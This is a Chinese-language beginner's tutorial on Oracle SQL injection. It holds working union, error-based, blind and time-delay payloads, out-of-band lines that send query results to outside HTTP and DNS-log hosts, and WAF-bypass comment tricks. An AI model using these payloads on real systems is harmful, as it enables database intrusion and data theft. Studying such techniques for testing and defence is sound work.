一篇文章入門Oracle注入

2021-12-25 ChaBug

寫在前頭,本文是我在學習Oracle注入時做的筆記加以整理所作的分享,由於在面試中被問過幾次,並不是很難的東西,總是被問住,所以決定抽一些時間徹底學習一遍。一些基本語法與Mysql差別也不是很大,學起來並不費勁。

本文極其適合入門選手,一篇文章足以幫你入門Oracle注入。抄了一些y4博客文章的目錄,查閱官方文檔細化了函數的使用。請搭配官方文檔食用,並親手實踐為主,文中如有錯誤請通知我更改。

Oracle Database安裝

為了方便,直接docker 拉一個鏡像回來。

版本 Oracle Database 11g

# 拉取鏡像

$ docker pull deepdiver/docker-oracle-xe-11g

# 啟動容器

$ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g

# 可以選擇進入docker操作,不需要將docker 22埠映射出來。

$ docker exec -it oracledb bash

基礎學習

dual 是Oracle中的虛表,任何用戶均可讀取,常用在沒有目標表的select 語句中。

Oracle資料庫中使用的語言有三種,分別為:SQL, java, PL/SQL。

本文接下來所有記錄的語法、函數使用等,均摘自Oracle官方文檔,如有不明白之處自行去官網查詢詳細文檔即可官方文檔

體系結構

# 實例

一個Oracle實例(Oracle Instance)有一系列的後臺進程和內存結構組成。一個資料庫可以有n個實例。

# 用戶

Oracle資料庫的基本單位,等同於Mysql中的庫。Mysql:當前資料庫下有N張表 <=> Oracle:當前用戶下有N張表。

# 表空間

表空間是Oracle對物理資料庫上相關數據文件(ORA或者DBF文件)的邏輯映射。一個資料庫在邏輯上被劃分成一到若干個表空間,每個表空間包含了在邏輯上相關的一組結構。每個資料庫至少有一個表空間(稱之為system表空間)。

每個表空間由同一磁碟上的一個或多個文件組成,這些文件叫數據文件(datafile)。一個數據文件只能屬於一個表空間。

# 數據文件(dbf,ora)

數據文件是資料庫的物理存儲單位。表空間與數據文件是一對多的關係(用戶與表空間也是一對多的關係),而數據文件只能屬於一個表空間,刪除數據文件需先刪除該文件所屬的表空間。

表的數據,是由用戶放入某一個表空間的,而這個表空間會隨機把這些表數據放到一個或多個數據文件中。

Oracle資料庫中常用角色

connect --連接角色,基本角色

resource --開發者角色

dba --超級管理員角色

Oracle資料庫存在默認用戶:scott,密碼:tiger。需要超級管理員權限用戶解鎖。

語法

# 查看當前連接用戶

SQL> select user from dual;

# 創建用戶名為sqli密碼為pentest的用戶

SQL> create user sqli identified by pentest;

# 給新創建的用戶授權,connect角色:保證該用戶可以連接資料庫;resource角色:該用戶可以使用資料庫資源

SQL> grant connect,resource to sqli;

# 刪除用戶:當前連接資料庫的用戶必須具有刪除用戶權限(如sys)

# 創建表空間(需要超級管理員權限)

SQL> create tablespace pentest

2 datafile '/tmp/pentest.dbf'

3 size 100m

4 autoextend on

5 next 10m;

Tablespace created.

# 刪除表空間

SQL> drop tablespace pentest; --刪除表空間後,數據文件依舊存在。

Tablespace dropped.

數據類型

1. varchar, varchar2 表示一個字符串。

2. NUMBER NUMBER(n)表示一個整數,長度是n;NUMBER(m,n)表示一個小數,總長度m,小數:n,整數是m-n。

eg: NUMBER(4,2) 表示最大可以存儲數字為99.99

3. DATA 表示日期類型

4. CLOB 大對象,表示大文本數據類型,可存4G

5. BLOB 大對象,表示二進位數據,可存4G

語法

# 創建users表

SQL> create table users(

2 id number(10),

3 uname varchar2(16),

4 pwd varchar2(32)

5 )

6 ;

Table created.

# 添加列

SQL> alter table users add email varchar2(40);

# 修改列數據類型

SQL> alter table users modify email char(40);

# 修改列的名稱

SQL> alter table users rename column email to sex;

# 刪除列

SQL> alter table users drop column sex;

# 插入數據(values字符串不能使用雙引號)

SQL> insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');

1 row created.

# 修改數據

update users set uname='administrator';

# 刪除數據

delete from users where uname='administrator';

序列

# 默認從1開始:依次遞增,主要用來給主鍵賦值使用。序列不真的屬於任何表,但是可以邏輯和表做綁定。

SQL> create sequence s_users;

Sequence created.

SQL> insert into users (id,uname,pwd) values(s_users.nextval,'ceshi','d81bojd09sha1onpmd09a');

1 row created.

SQL> select * from users;

ID UNAME PWD

- --

1 admin ab71giedas98g1o2dasgd12e98g

3 ceshi d81bojd09sha1onpmd09a

Orcale資料庫注入學習基礎

# Oracle中使用``||``拼接字符串

SQL> select 'pen'||'test' from dual;

'PEN'||

--

pentest

# 分頁操作(mysql中的limit)

SQL> select * from users where rownum<2; --rownum支持<,<=,!=

# 支持的注釋符

--

-- -

--空格

/**/

註:Oracle 字符串區分大小寫

信息獲取

SQL> select banner from v$version;

BANNER

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

PL/SQL Release 11.2.0.2.0 - Production

CORE 11.2.0.2.0 Production

TNS for Linux: Version 11.2.0.2.0 - Production

NLSRTL Version 11.2.0.2.0 - Production

# 獲取其中某版本使用正則即可,舉例:

SQL> select banner from v$version where banner like 'Oracle%';

BANNER

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

# 獲取當前所連接的用戶名

SQL> select user from dual;

USER

SQLI

# 獲取資料庫中所有用戶

SQL> select username from all_users;

SELECT name FROM sys.user$; -- 需要高權限

# 獲取當前用戶權限

SQL> select * from session_privs;

# 獲取當前用戶所擁有權限下的所有資料庫

SQL> select distinct owner,table_name from all_tables;

# 獲取指定表的欄位(注意這裡的table_name全部大寫)

SQL> select column_name from all_tab_columns where table_name='USERS';

COLUMN_NAME

ID

UNAME

PWD

Oracle提供了一個名為的內置命名空間 USERENV,用於描述當前會話。以下語句返回登錄到資料庫的用戶的名稱:

SQL> select SYS_CONTEXT('USERENV','SESSION_USER') from dual;

SYS_CONTEXT('USERENV','SESSION_USER')

SQLI

SQL> select SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') from dual;

SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY')

sqli

具體其他的 parameter官方文檔有寫

備忘錄

1.GLOBAL_NAME 包含一行,顯示當前資料庫的全局名稱。

2. LISTAGG對ORDER BY子句中指定的每個組內的數據進行排序,然後合併度量列的值。measure_expr可以是任何表達。度量列中的空值將被忽略。

3. USER_TABLES描述當前用戶擁有的關係表。

4. ALL_TABLES描述當前用戶可訪問的關係表。(類似Mysql中的information_schema.tables)

5. DBA_ALL_TABLES描述資料庫中的所有對象表和關係表。其列與中的列相同ALLALLTABLES。

6. ALL_ALL_TABLES描述當前用戶可訪問的對象表和關係表。

7. USER_ALL_TABLES描述當前用戶擁有的對象表和關係表。

8. DBA_TABLES描述資料庫中的所有關係表,其列與ALL_TABLES中的列相同,查詢條件:DBA權限用戶。

# 獲取當前資料庫名

SQL> select * from global_name;

GLOBAL_NAME

XE

# 實現mysql的group_concat

SQL> select listagg(column_name,'~') within group (order by column_name) from user_tab_columns;

LISTAGG(COLUMN_NAME,'~')WITHINGROUP(ORDERBYCOLUMN_NAME)

ID~PWD~UNAME

聯合查詢

註:Oracle中表達式必須具有與對應表達式相同的數據類型,且在Oralce資料庫中要求select語句後必須指定要查詢的表名(使用虛表dual即可)

SQL> select * from users where id=2 union select null,null,null from dual;

ID UNAME PWD

- --

# 獲取表名

SQL> select * from users where id=2 union select null,null,(select listagg(table_name,'~') within group(order by 1) from all_tables where owner='SQLI') from dual;

ID UNAME

-

PWD

ADDRESS~USERS

# 獲取指定表的欄位名

SQL> select * from users where id=2 union select null,null,(select listagg(column_name,':') within group(order by 1) from all_tab_columns where table_name='USERS') from dual;

ID UNAME

-

PWD

ID:PWD:UNAME

# 獲取指定欄位內容

SQL> select * from users where id=2 union select null,null,(select listagg(uname||'&'||pwd,':') within group(order by 1) from users where rownum=1) from dual;

ID UNAME

-

PWD

admin&ab71giedas98g1o2dasgd12e98g

報錯注入

報錯注入的本質就是使資料庫返回一個語法等錯誤,並且返回錯誤中的某些內容我們可控,藉此來獲取我們需要的信息。

備忘錄

1. UTL_INADDR程序包提供了一個PL/SQL過程來支持Internet尋址。它提供了一個API,用於檢索本地和遠程主機的主機名和IP位址。

# 此程序包是調用者的權限程序包,這意味著必須connect在分配給他或她希望連接到的遠程網絡主機的訪問控制列表中向調用用戶授予特權。

# Syntax

UTL_INADDR.GET_HOST_NAME (

ip IN VARCHAR2 DEFAULT NULL)

RETURN host_name VARCHAR2;

由於GET_HOST_ADDRESS函數所需參數類型是varchar2,且報錯時會講參數表達式結果返回,因此可以藉此實現報錯注入。GET_HOST_NAME函數同理。

需要注意的是,執行UTL_INADDR軟體包需要擁有connect權限的用戶,本次學習環境為11g,因此本次筆記暫不考慮之前版本。

2. ctxsys.drithsx.sn,沒找到具體官方文檔說明,用法如下:

SQL> select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);

3. ctxsys.ctxreport.tokentype,這是一個輔助功能,可將英語名稱轉換為數字標記類型。

# 使用方法

function token_type(

index_name in varchar2,

type_name in varchar2

) return number;

SQL> select ctxsys.ctx_report.token_type((select user from dual),1) from dual;

select ctxsys.ctx_report.token_type((select user from dual),1) from dual

*

ERROR at line 1:

ORA-20000: Oracle Text error:

DRG-10502: index SQLI does not exist

ORA-06512: at "CTXSYS.DRUE", line 160

ORA-06512: at "CTXSYS.CTX_REPORT", line 711

這種類似的可以用來報錯注入的函數很多,舉個例子:

SQL> select ctxsys.ctx_report.token_info('aa','xx',1)from dual;

ERROR:

ORA-20000: Oracle Text error:

DRG-10502: index AA does not exist

ORA-06512: at "CTXSYS.DRUE", line 160

ORA-06512: at "CTXSYS.CTX_REPORT", line 615

ORA-06512: at line 1

no rows selected

4. dbmsxdbversion.checkin,此函數檢入已籤出的VCR,並返回新創建版本的資源ID。

# 用法

DBMS_XDB_VERSION.CHECKIN(

pathname VARCHAR2)

RETURN DBMS_XDB.resid_type;

如果路徑名不存在,則會引發異常。

SQL> select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual);

select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual)

*

ERROR at line 1:

ORA-31001: Invalid resource handle or path name "SQLI"

需要注意使用二進位數據類型

dbms_xdb_version.makeversioned

DBMS_XDB_VERSION.MAKEVERSIONED(

pathname VARCHAR2)

RETURN DBMS_XDB.resid_type;

如果資源不存在,則會引發異常。

需要注意使用二進位數據類型

報錯注入的payload就不寫太多了,原理感覺都那樣,還有很多類似的函數等可以挖掘出來,具體還有哪些常見的報錯注入payload可以看Y4er博客文章裡面的總結。

盲注

感覺這部分沒什麼可以記錄的,盲注的思路都差不多,字符串比較,運算符的運用。隨便記錄一下吧。

# decode函數用來比較。

SQL> select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);

SQL> select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);

需要注意大小寫的問題

延時注入

# 用來判斷注入點還行

SQL> select count(*) from all_objects;

# 利用了oracle管道功能接收消息的函數RECEIVE_MESSAGE,實現延時注入

DBMS_PIPE.RECEIVE_MESSAGE (

pipename IN VARCHAR2,

timeout IN INTEGER DEFAULT maxwait)

RETURN INTEGER;

# 簡單的使用

SQL> select dbms_pipe.receive_message('aaa',3) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)

----

1

SQL> select dbms_pipe.receive_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;

帶外攻擊OOB(Out Of Band)

既然是帶外攻擊,自然需要connect

utl_http.request

UTL_HTTP.REQUEST (

url IN VARCHAR2,

proxy IN VARCHAR2 DEFAULT NULL,

wallet_path IN VARCHAR2 DEFAULT NULL,

wallet_password IN VARCHAR2 DEFAULT NULL)

RETURN VARCHAR2;

SQL> select utl_http.request('http://ip/?result='||(select user from dual))from dual;

我這裡測試沒有成功,報錯ORA-00904: : invalid identifier,可能是版本問題。

utlinaddr.gethost_address

報錯注入那個函數,不過多介紹了

SQL> select utl_inaddr.get_host_address((select user from dual)||'.o6xgjz.dnslog.cn')from dual;

DBMS_LDAP

DBMS_LDAP軟體包使您可以從LDAP伺服器訪問數據。

FUNCTIONN INIT():

init()用LDAP伺服器初始化會話。這實際上建立了與LDAP伺服器的連接。

# 語法

FUNCTION init

(

hostname IN VARCHAR2,

portnum IN PLS_INTEGER

)

RETURN SESSION;

HTTPURITYPE

可以創建UriType列,並在其中存儲DBURITYPE,XDBURITYPE或HTTPURITYPE的實例。您還可以定義自己的UriType子類型來處理不同的URL協議。

列舉幾個可以帶外的函數

通過閱讀官方文檔,明顯可以看出會請求httpuritype所指定的uri的函數有哪些。

1. GETCONTENTTYPE() 作用:返回URI指向的文檔的內容類型。

2. GETCLOB() 作用:返回位於HTTP URL地址的CLOB。

3. GETBLOB() 作用:返回位於URL指定的地址的BLOB。

select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getblob() from dual;

4. GETXML() 作用:返回位於URL指定的地址的。

select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getxml() from dual;

文章到此為止了,僅作為Oracle注入入門的學習筆記,在後續學習java的過程中,會繼續將Oracle注入更深入的利用(歷史漏洞XXE,提權,執行命令等)記錄筆記並做分享。

拋磚引玉

一些很常見的tips在Oracle資料庫中的嘗試,至於具體實際中如何去bypass waf,還望自行發揮。

# 借用了在MySQL中bypass常用的技巧來做了簡單的可行性測試,注釋符和換行的搭配使用。

1. 注釋符拼接垃圾字符配合換行

SQL> select -- asdnaso/*asdas*/

2 user from--ioasndoiand

3 dual;

USER

SQLI

2. 利用waf的通用性特點

SQL> select user/*!saho*/from dual;

USER/*!SAHO*/

SQLI

SQL>

調用函數是可使用空格換行等

select ctxsys. drithsx.sn(user,'aa')from dual;

在線靶場

http://o1.lab.aqlab.cn:81/?id=1

你學廢了嗎?

相關焦點

  • oracle注入總結
    基於錯誤的注入可以通過輸入一些字符,發現有報錯返回信息,可以嘗試注入。
  • Gorm 終於可以操作 Oracle 了
    點擊上方藍色「Go語言中文網」關注,每天一起學 Go前言:寫這篇文章的目的有兩個,一是希望找到志同道合的夥伴一起維護這個庫,提高這個庫的代碼質量
  • Bazinga | 一篇關於微積分入門的文章
    寫這篇文章的初衷是因為這學期已經有幾個沒有學過微積分的同學希望下學期選這門課,甚至有幾個同學已經開始請我大概跟他們講一下微積分的主要研究對象,big
  • 回歸樸素、oracle注入
    CTXSYS.CTX_REPORT.TOKEN_TYPEselect CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual; XMLTypehttp://localhost:8080/oracleInject
  • SQL注入速查表與Oracle注入速查表總結
    log bypass(S)注入測試一些其他的MySQL筆記MySQL中好用的函數SQL注入的高級使用強制SQL Server來得到NTLM哈希Bulk insert UNC共享文件 (S)0x01 盲注關於盲注一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的
  • 入門「狼人殺」?這一篇文章就夠了!
    狼人殺狼人殺可以說是現如今最火爆的一款桌遊了,從最開始的殺人遊戲演變成狼人殺,再到現在的六擴,狼人殺的發展史也是一把辛酸淚啊~但我相信肯定還有好多小夥伴並不知道狼人殺是個什麼遊戲,或者只是聽說過這個遊戲並不知道怎麼入門
  • 一篇很簡單的英語入門文章
    關於各種階段的入門我們已經在之前有發過相應的文章了。今天就寫一篇小概括文啦,也不會很深入去寫,力求讓小白也能理解受用。首先我們需要明確,英語的學習分為幾個階段:音標、單詞、語法、口語。而零基礎的小夥伴們問得最多的一個問題就是,我要如何開始?
  • Oracle 12C 最新補丁下載與安裝操作指北
    不過上圖中出現的是 SHA 加密算法,那麼本次也就使用 SHA 算法相關的命令查看文件的哈希值。如下所示哈希值一致,可見文件沒問題,可正常使用。for a66SYS@JiekeXu> col name for a20SYS@JiekeXu> select CON_ID,name,open_mode from v$pdbs; CON_ID NAME OPEN_MODE 2 PDB$SEED READ ONLY 3 JIEKEXUPDB
  • 關於 JNDI 注入
    一篇炒冷飯的文章,全當筆記在寫了,這個漏洞涉及到 JNDI 與 RMI。
  • 一篇關於微積分入門的文章
    這裡推薦一些國外的教材:【入門】Calculus Early Transcendentals 8th edition - James Stewart【入門】Thomas' Calculus Early Transcendentals 14th Edition - Joel R.
  • 考公務員,一篇文章帶你申論入門!
    要作答的題目 一般由題幹和附加要求組成不同的考試題目數量、分值也不同如國考一般是5道小題省考有一道題(廣州一般是寫一篇作文)、三道題(如四川省考)、4道題(比較普遍)議論文寫作如:深入思考「跟著時代的大潮往前走,盡到我所有的力量,做好我要做的事情」,自選角度,聯繫實際,自擬題目,寫一篇文章。
  • 臨床醫生如何規劃一篇數據挖掘文章?
    不知道如何架構一篇數據挖掘類的文章?丁香公開課請來了發表數據挖掘類文章 40+ 篇的沃林老師,直播講解:醫生如何規劃一篇數據挖掘文章直播原價 19.9,限時免費預約掃碼立即參與入門並不難,難的是不了解數據挖掘到底是什麼,如何規劃?我們希望通過一節直播課,沃林老師乾貨滿滿的講解,帶領大家入門:剛入門的同學,常常對數據挖掘的方法和分析不太自信。
  • Oracle官方免費學習資源匯總
    http://www.oracle.com/goto/ollOracle Learning Library,簡稱OLL。部分動手實驗也可以在https://go.oracle.com/HOL下找到。在Oracle Blogs介紹Dev Gym的一篇文章中,引用了一段話:Tell me and I will forget.Show me and I may remember.
  • SQL注入繞過waf的一萬種姿勢
    1 function blacklist($id){2 3 $id=preg_replace('/or/i',"",$id);//過濾or4 5 $id=preg_replace('/AND/i',"",$id);//過濾AND6 7 return $id;8 }策略:(1)大小寫變形,這裡也許無法成功,
  • 一篇文章搞清楚boolean到底佔幾個字節
    // 平淡無奇的輸出 System.out.println(a); System.out.println(bArray);    通過上面的對照可以看到, 在對單個boolean進行賦值的時候,使用的是istore 這個指令 ,在對boolean數組中的元素賦值時,使用的是 bastore 這個指令,下面兩圖摘抄自oracle
  • Oracle資料庫常用命令整理
    這篇文章主要介紹了oracle查詢語句,有助於新手迅速熟悉ORACLE基本語法有助於新手迅速熟悉ORACLE基本語法,需要的朋友可以收藏下oracle查看用戶狀態select username,account_status from dba_users;查看所有角色
  • R語言:資料庫連接:oracle、mysql及hive
    這裡使用RJDBC與資料庫溝通,因為它對多種數據均適用,所以這裡暫時以這種簡單的方式與資料庫溝通,但是在使用RJDBC之前你首先要安裝java並配置環境變量,請參看輿情分析的章節,安裝完成之後可以在R裡面安裝rJava和RJDBC包了,如果還是不懂,就需要百度了,比如說如何安裝oracle客戶端,如何配置java的環境變量等等。
  • 零基礎學Oracle之1:Oracle體系架構
    2) database:有物理結構和邏輯結構物理結構包括三大文件:data file、control file、redo log file邏輯結構包括:database->tablespace->segment->extent->oracle data block
  • 零基礎學Oracle之9:Oracle redo log file實驗
    上一節描述了oracle redo log文件的理論,這一節來演示redo log 文件的操作。3 '/u01/app/oracle/oradata/orcl/redo04b.rd0')4 size 50m;Database altered.
  • Python連接oracle資料庫實踐
    文章